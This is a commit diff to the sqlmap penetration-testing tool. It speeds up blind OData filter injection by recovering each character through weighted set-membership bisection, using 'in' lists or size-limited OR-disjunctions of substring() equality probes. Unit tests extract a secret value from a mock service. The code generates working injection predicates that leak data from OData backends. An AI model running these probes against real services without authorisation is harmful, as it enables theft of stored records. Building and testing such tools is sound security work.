Faster --odata

Author: stamparm

lib/core/settings.py

@@ -20,7 +20,7 @@
 from thirdparty import six
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.10.8.23"
+VERSION = "1.10.8.24"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1496,10 +1496,16 @@
 
 ODATA_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in ODATA_ERROR_SIGNATURES)
 
-# Printable-ASCII codepoint bounds for the (lexicographic, binary-search) OData blind character scan
+# Printable-ASCII codepoint bounds for the OData blind character scan
 ODATA_CHAR_MIN = 0x20
 ODATA_CHAR_MAX = 0x7e
 
+# Candidate characters per set-membership probe on a service without the v4.01 'in' operator, where a
+# set has to be spelled as a disjunction of equalities. Each term costs the parser ~8 of the 100 nodes
+# ASP.NET Core OData allows by default (MaxNodeCount), measured to reject at 11 terms - so this leaves
+# headroom for a longer key/property name in the same filter
+ODATA_CHARSET_BLOCK = 8
+
 ODATA_MAX_LENGTH = 256          # a single property value
 ODATA_MAX_RECORDS = 20          # entities blind-dumped
 ODATA_MAX_KEY = 100000          # upper bound when bisecting for the lowest existing numeric key

lib/techniques/odata/inject.py

@@ -44,8 +44,10 @@
 from lib.utils.nonsql import ratio as _ratio
 from lib.utils.nonsql import userDecision
 from lib.utils.nonsql import userOracleActive
+from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS
 from lib.core.settings import ODATA_CHAR_MAX
 from lib.core.settings import ODATA_CHAR_MIN
+from lib.core.settings import ODATA_CHARSET_BLOCK
 from lib.core.settings import ODATA_COMMON_FIELDS
 from lib.core.settings import ODATA_ERROR_REGEX
 from lib.core.settings import ODATA_ERROR_SIGNATURES
@@ -78,13 +80,14 @@
 )
 
 # Charset for blind character recovery.
-# NOTE recovery uses EXACT equality (substring(...) eq 'c'), not a '>=' bisection: .NET / OData string
+# NOTE recovery uses EXACT equality (substring(...) eq 'c'), never a '>=' bisection: .NET / OData string
 # relational comparison is culture-aware and case-folding ('l' and 'L' compare equal), which scrambles a
-# lexicographic bisection, whereas eq is ordinal and exact. So the set is ordered by real-world frequency
-# to keep the linear scan short on typical data rather than by codepoint. Because the scan is exact
-# rather than positional, the order is free and a missing codepoint only costs coverage - it cannot
-# alias onto a neighbour the way a bisection hole does. Nothing is excluded: the one character OData
-# cannot carry raw inside a literal, the single quote, is doubled per the spec instead of dropped.
+# lexicographic bisection, whereas eq is ordinal and exact. Bisection is recovered WITHOUT ordering by
+# asking about a whole candidate set per request (see _memberOf), so the set is ordered by real-world
+# frequency - a common character is settled inside the first block. Because the probe is exact rather
+# than positional, the order is free and a missing codepoint only costs coverage - it cannot alias onto
+# a neighbour the way a bisection hole does. Nothing is excluded: the one character OData cannot carry
+# raw inside a literal, the single quote, is doubled per the spec instead of dropped.
 _FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + tuple(xrange(ord('A'), ord('Z') + 1)) +
          tuple(xrange(ord('0'), ord('9') + 1)) + tuple(ord(_) for _ in " @._-+:/!#$%&*=?"))
 _CS_ORDS = []
@@ -95,6 +98,24 @@
     if _o not in _CS_ORDS:
         _CS_ORDS.append(_o)
 
+# ...and weighted by the same shipped character prior blind SQL retrieval banks on, so a set is split
+# at its cumulative-WEIGHT midpoint rather than its midpoint by count. That puts the likely characters
+# nearer the root of the decision tree, which is what beats a uniform bisection's flat log2(charset).
+_CS_WEIGHTS = dict((_o, HUFFMAN_PRIOR_WEIGHTS.get(_o, 1)) for _o in _CS_ORDS)
+_CS_ORDS.sort(key=lambda _o: -_CS_WEIGHTS[_o])
+
+
+def _splitPoint(candidates):
+    """Where to cut `candidates` so that either answer is about equally likely (never degenerate)."""
+
+    half = sum(_CS_WEIGHTS[_] for _ in candidates) / 2.0
+    running = 0
+    for index, ordinal in enumerate(candidates):
+        running += _CS_WEIGHTS[ordinal]
+        if running >= half:
+            return min(index + 1, len(candidates) - 1)
+    return len(candidates) - 1
+
 
 def _literal(ordinal):
     """One codepoint as a single-quoted OData string literal (an inner quote is doubled, not escaped)."""
@@ -399,13 +420,38 @@ def _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface=True
     return None, []
 
 
-def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH):
+def _memberOf(oracle, pin, field, pos, ordinals, useIn):
+    """One request asking whether the character at `pos` is ANY of `ordinals`."""
+
+    substring = "substring(%s,%d,1)" % (field, pos)
+    if useIn:
+        return oracle("(%s%s in (%s))" % (pin, substring, ",".join(_literal(_) for _ in ordinals)))
+    return oracle("(%s(%s))" % (pin, " or ".join("%s eq %s" % (substring, _literal(_)) for _ in ordinals)))
+
+
+def _supportsIn(oracle, pin):
+    """Whether the service speaks the v4.01 `in` operator, settled by a differential so one that merely
+    tolerates the syntax cannot fake it. Both spellings ask the identical question, but `in` costs the
+    parser a SINGLE node against ~8 per candidate for the disjunction, and the ceiling is real: ASP.NET
+    Core OData allows 100 nodes by default (MaxNodeCount) and was measured rejecting an 11-term
+    disjunction outright. So `in`, where offered, buys headroom on a service configured stricter than
+    the default rather than a bigger question."""
+
+    try:
+        return oracle("(%s'a' in ('a','b'))" % pin) and not oracle("(%s'a' in ('b','c'))" % pin)
+    except InconclusiveError:
+        return False
+
+
+def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH, useIn=None):
     """Blindly recover one string property of the entity pinned by key==keyValue: length by binary
-    search, then each character by bisecting its index in the codepoint-ordered charset. OData substring()
-    is 0-indexed, so character `pos` (1-based) is substring(field,pos-1,1)."""
+    search, then each character by set-membership bisection. OData substring() is 0-indexed, so
+    character `pos` (1-based) is substring(field,pos-1,1)."""
 
     pin = "%s eq %d and " % (key, keyValue)
     try:
+        if useIn is None:
+            useIn = _supportsIn(oracle, pin)
         if not oracle("(%slength(%s) ge 1)" % (pin, field)):
             return ""
         lo, hi = 1, maxLen
@@ -419,12 +465,22 @@ def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH):
 
         chars = []
         for pos in xrange(length):
-            # exact-match linear scan (eq is ordinal); frequency order keeps it short on typical values
+            # A whole candidate set is asked about in ONE request, so a probe halves the space just as
+            # a relational bisection would - without ever leaving `eq`, the only comparison .NET does
+            # not case-fold. The weight-ordered blocks are tried in turn, so a likely character is
+            # settled by the first of them and never pays for the rest of the charset.
             recovered = "?"
-            for ordinal in _CS_ORDS:
-                if oracle("(%ssubstring(%s,%d,1) eq %s)" % (pin, field, pos, _literal(ordinal))):
-                    recovered = chr(ordinal)
-                    break
+            for start in xrange(0, len(_CS_ORDS), ODATA_CHARSET_BLOCK):
+                candidates = _CS_ORDS[start:start + ODATA_CHARSET_BLOCK]
+                if not _memberOf(oracle, pin, field, pos, candidates, useIn):
+                    continue
+                while len(candidates) > 1:
+                    # membership in `candidates` is established, so the untested side is implied
+                    cut = _splitPoint(candidates)
+                    candidates = (candidates[:cut] if _memberOf(oracle, pin, field, pos, candidates[:cut], useIn)
+                                  else candidates[cut:])
+                recovered = chr(candidates[0])
+                break
             chars.append(recovered)
     except InconclusiveError:
         logger.warning("OData extraction aborted for '%s' (oracle inconclusive after retries)" % field)
@@ -482,13 +538,19 @@ def _dumpEntities(place, parameter, boundary, emptyPage):
                 % (key, len(keys), "y" if len(keys) == 1 else "ies", ", ".join(fields)))
 
     rows = []
+    useIn = None
     for value in keys:
         oracle = _makeOracle(place, parameter, boundary, truePredicate="(%s eq %d)" % (key, value))
         if oracle is None:
             continue
+        if useIn is None:
+            # a property of the service, not of the entity, so it is settled once for the whole dump
+            useIn = _supportsIn(oracle, "%s eq %d and " % (key, value))
+            logger.debug("service %s the 'in' operator, so one probe covers %d candidate character(s)"
+                         % ("speaks" if useIn else "does not speak", len(_CS_ORDS) if useIn else ODATA_CHARSET_BLOCK))
         row = [str(value)]
         for field in fields[1:]:
-            recovered = _inferField(oracle, key, value, field)
+            recovered = _inferField(oracle, key, value, field, useIn=useIn)
             row.append("?" if recovered is None else recovered)
         rows.append(row)
 

tests/test_odata.py

@@ -20,6 +20,7 @@
 bootstrap()
 
 import lib.techniques.odata.inject as odata
+from lib.core.settings import ODATA_CHARSET_BLOCK
 from lib.core.settings import ODATA_ERROR_REGEX
 
 _ENTITIES = (
@@ -339,5 +340,86 @@ def test_plain_sql_endpoint_not_confirmed(self):
         self.assertIsNone(template)
 
 
+_LITERAL = r"'(?:[^']|'')*'"
+_IN_REGEX = re.compile(r"(?P<lhs>substring\(\w+,\d+,1\)|%s) in \((?P<items>%s(?:,%s)*)\)"
+                       % (_LITERAL, _LITERAL, _LITERAL))
+
+
+def _expandIn(expr):
+    """Rewrite a v4.01 "X in (a,b,c)" into the equivalent v4.0 disjunction - all the mock parser needs
+    in order to model a service that offers the operator, without teaching _atom() a second syntax."""
+
+    def expand(match):
+        lhs = match.group("lhs")
+        return "(%s)" % " or ".join("%s eq %s" % (lhs, _) for _ in re.findall(_LITERAL, match.group("items")))
+
+    return _IN_REGEX.sub(expand, expr)
+
+
+def _mockSendIn(place, parameter, value, raw=False):
+    """A v4.01 service: identical semantics, but it also parses the 'in' operator."""
+    return _mockSend(place, parameter, _expandIn(value), raw)
+
+
+class TestSetMembershipRecovery(unittest.TestCase):
+    """Character recovery asks about a whole candidate SET per request. .NET string comparison is
+    culture-aware and case-folding, so a lexicographic bisection is unusable - but set membership needs
+    no ordering and halves the space just the same. This pins the cost: the linear scan this replaced
+    spent one request per candidate, up to the whole charset for a single character."""
+
+    def setUp(self):
+        self.saved, self.savedParams = odata._send, odata.conf.parameters
+        odata.conf.parameters = {odata.PLACE.GET: "name=luther"}
+        odata.SENTINEL = "zzsentinelzz"
+        self.sent = []
+
+    def tearDown(self):
+        odata._send, odata.conf.parameters = self.saved, self.savedParams
+
+    def _extract(self, service, field="Secret"):
+        def counting(place, parameter, value, raw=False):
+            self.sent.append(value)
+            return service(place, parameter, value, raw)
+
+        odata._send = counting
+        _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name")
+        oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary, truePredicate="(Id eq 1)")
+        self.assertIsNotNone(oracle)
+        before = len(self.sent)
+        return odata._inferField(oracle, "Id", 1, field), len(self.sent) - before
+
+    def test_v40_service_extracts_under_a_linear_scan(self):
+        value, cost = self._extract(_mockSend)
+        self.assertEqual(value, "S3CR3Tvalue")
+        self.assertLess(cost, len(value) * len(odata._CS_ORDS))
+
+    def test_v401_service_extracts_the_same_value(self):
+        value, cost = self._extract(_mockSendIn)
+        self.assertEqual(value, "S3CR3Tvalue")
+        self.assertLess(cost, len(value) * len(odata._CS_ORDS))
+
+    def test_in_encoding_is_used_only_when_offered(self):
+        self._extract(_mockSendIn)
+        self.assertTrue(any(" in (" in _ for _ in self.sent))
+        self.sent = []
+        self._extract(_mockSend)
+        self.assertFalse(any("substring(Secret,0,1) in (" in _ for _ in self.sent))
+
+    def test_disjunction_stays_inside_the_node_budget(self):
+        """Every 'or' term costs the service's parser ~8 of the 100 nodes ASP.NET Core OData allows by
+        default (MaxNodeCount); an 11-term disjunction was measured being rejected outright."""
+
+        self._extract(_mockSend)
+        for value in self.sent:
+            self.assertLessEqual(value.count("substring("), ODATA_CHARSET_BLOCK)
+
+    def test_split_point_never_degenerates(self):
+        """A cut of 0 or of len(candidates) would leave the set unchanged and loop forever."""
+
+        for size in range(2, len(odata._CS_ORDS) + 1):
+            cut = odata._splitPoint(odata._CS_ORDS[:size])
+            self.assertTrue(0 < cut < size, "size %d cut %d" % (size, cut))
+
+
 if __name__ == "__main__":
     unittest.main(verbosity=2)